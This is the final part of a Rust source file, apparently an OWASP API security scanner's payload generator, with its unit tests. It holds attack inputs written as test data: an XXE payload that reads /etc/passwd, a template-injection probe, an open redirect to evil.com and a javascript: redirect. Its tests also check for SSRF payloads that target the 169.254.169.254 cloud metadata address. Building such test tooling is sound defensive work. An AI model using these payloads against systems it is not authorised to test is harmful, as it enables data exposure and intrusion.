892 value: r#"{"template": "{{7*7}}"}"#.to_string(),
893 injection_point: InjectionPoint::Body,
894 expected_if_vulnerable: ExpectedBehavior::Custom("Template evaluated (49)".to_string()),
895 notes: Some("Server-side template injection in field passed downstream".to_string()),
896 },
897 OwaspPayload {
898 category: OwaspCategory::Api10UnsafeConsumption,
899 description: "XXE in XML field".to_string(),
900 value: r#"{"xml_data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"}"#.to_string(),
901 injection_point: InjectionPoint::Body,
902 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
903 notes: None,
904 },
905 OwaspPayload {
907 category: OwaspCategory::Api10UnsafeConsumption,
908 description: "Open redirect in return URL".to_string(),
909 value: r#"{"return_url": "https://evil.com"}"#.to_string(),
910 injection_point: InjectionPoint::Body,
911 expected_if_vulnerable: ExpectedBehavior::Custom("Open redirect".to_string()),
912 notes: Some("Inject external URL in redirect parameter".to_string()),
913 },
914 OwaspPayload {
915 category: OwaspCategory::Api10UnsafeConsumption,
916 description: "Open redirect with protocol".to_string(),
917 value: r#"{"redirect": "javascript:alert(1)"}"#.to_string(),
918 injection_point: InjectionPoint::Body,
919 expected_if_vulnerable: ExpectedBehavior::Custom("Dangerous protocol accepted".to_string()),
920 notes: None,
921 },
922 ]
923 }
924
925 fn generate_deep_json(depth: usize) -> String {
927 let mut json = String::from(r#"{"a":"#);
928 for _ in 0..depth {
929 json.push_str(r#"{"a":"#);
930 }
931 json.push_str("1");
932 for _ in 0..=depth {
933 json.push('}');
934 }
935 json
936 }
937}
938
939#[cfg(test)]
940mod tests {
941 use super::*;
942
943 #[test]
944 fn test_generate_all_payloads() {
945 let config = OwaspApiConfig::default();
946 let generator = OwaspPayloadGenerator::new(config);
947 let payloads = generator.generate_all();
948
949 assert!(!payloads.is_empty());
951
952 let categories: std::collections::HashSet<_> =
954 payloads.iter().map(|p| p.category).collect();
955 assert!(categories.len() > 5);
956 }
957
958 #[test]
959 fn test_generate_bola_payloads() {
960 let config = OwaspApiConfig::default();
961 let generator = OwaspPayloadGenerator::new(config);
962 let payloads = generator.generate_bola_payloads();
963
964 assert!(!payloads.is_empty());
965 assert!(payloads.iter().all(|p| p.category == OwaspCategory::Api1Bola));
966 }
967
968 #[test]
969 fn test_generate_ssrf_payloads() {
970 let config = OwaspApiConfig::default();
971 let generator = OwaspPayloadGenerator::new(config);
972 let payloads = generator.generate_ssrf_payloads();
973
974 assert!(!payloads.is_empty());
975 assert!(payloads.iter().any(|p| p.value.contains("169.254.169.254")));
977 }
978
979 #[test]
980 fn test_generate_deep_json() {
981 let json = OwaspPayloadGenerator::generate_deep_json(3);
982 assert!(json.contains("\"a\":"));
983 assert_eq!(json.matches('{').count(), json.matches('}').count());
985 }
986
987 #[test]
988 fn test_specific_categories() {
989 let config = OwaspApiConfig::default()
990 .with_categories([OwaspCategory::Api1Bola, OwaspCategory::Api7Ssrf]);
991 let generator = OwaspPayloadGenerator::new(config);
992 let payloads = generator.generate_all();
993
994 assert!(payloads.iter().all(
996 |p| p.category == OwaspCategory::Api1Bola || p.category == OwaspCategory::Api7Ssrf
997 ));
998 }
999}